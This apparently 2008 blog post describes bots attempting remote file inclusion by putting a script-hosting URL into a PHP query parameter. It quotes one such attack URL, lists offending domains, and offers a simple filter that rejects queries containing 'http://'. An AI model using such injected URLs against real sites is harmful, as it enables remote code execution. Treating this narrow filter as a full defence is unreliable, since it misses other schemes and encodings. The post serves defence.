Files...
|
Home
|
|
|
Files...
|
|
April 26, 2008 Robot Hack AttackLately some nasty robots have been trying to hack my websites. The method they use is to attach a URL to a page that relies on a query string. For example, a page might have the following valid URL: http://myDomain.com/somePage.php?img=3 The nasty robot transforms this URL to : http://myDomain.com/somePage.php?img=http://afterwedding.eclub.lv/images in the hope that my script will execute the script at http://afterwedding.eclub.lv/images (Yes, there is a script there) The defense is really quite simple, any query string that contains "http://" is an offensive robot. My code to deal with them is as follows:
function check_hack_attack() {
if (strpos ($_SERVER['QUERY_STRING'], 'http://') !== FALSE) {
header("HTTP/1.1 400 Bad Request");
// do a proper custom error 400
include ("/path/to/error400.php");
die();
}
}
In simple English (pseudo code), this script does the following: If the query contains 'http://' { Send a 400 error header to the browser Send the custom error 400 page to the browser Stop processing } Here is a partial list of offending websites; http://0xg3458.hub.io/pb.php?As you can see, it's just a few websites masquerading under a bunch of sub-domains. by.ruI wonder if someone can put a stop to this abuse. Denny Schlesinger |
|
|
|
|
Home
|
Top |
|
Copyright © Software Times, 2000, 2001, 2003. All rights reserved |
|